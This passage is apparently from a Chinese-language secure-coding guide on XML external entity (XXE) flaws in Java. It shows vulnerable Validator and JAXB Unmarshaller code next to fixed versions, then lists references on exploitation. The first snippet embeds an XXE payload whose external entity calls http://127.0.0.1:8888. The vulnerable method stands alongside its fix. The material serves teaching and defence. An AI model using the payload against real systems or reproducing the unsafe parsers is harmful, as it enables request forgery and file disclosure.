String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
StreamSource source = new StreamSource(is);
validator.validate(source);
}

修复代码:

1
2
3
4
5
6
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
StreamSource source = new StreamSource(is);
validator.validate(source);

0x11.Unmarshaller

java组件:javax.xml.bind.JAXBContext / javax.xml.bind.Unmarshaller

需要指出:这个组件在jdk1.8默认不存在漏洞,在JDK1.6,1.7默认存在漏洞。参考

漏洞代码:

1
2
3
4
5
public static Object xmlToObjectXXE(String xml, Class<?> klass) throws Exception {
JAXBContext context = JAXBContext.newInstance(klass);
Unmarshaller unmarshaller = context.createUnmarshaller();
return unmarshaller.unmarshal(new StringReader(xml));
}

修复代码:

1
2
3
4
5
6
7
8
9
10
11
public static Object xmlToObjectSafe(String xml, Class<?> klass) throws Exception {
JAXBContext context = JAXBContext.newInstance(klass);

XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));

Unmarshaller unmarshaller = context.createUnmarshaller();
return unmarshaller.unmarshal(xsr);
}

IS_SUPPORTING_EXTERNAL_ENTITIES为false时,外部实体不会被执行解析
SUPPORT_DTD进一步为false时,引入DTD会导致报错。

参考

https://www.w3school.com.cn/xml/index.asp

https://xz.aliyun.com/t/6829#toc-4

http://www.lmxspace.com/2019/10/31/Java-XXE-总结/

https://anquan.baidu.com/article/315

http://rickgray.me/2015/06/08/xml-entity-attack-review/

https://xz.aliyun.com/t/3357#toc-15

https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/

https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html

https://github.com/GoSecure/dtd-finder

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/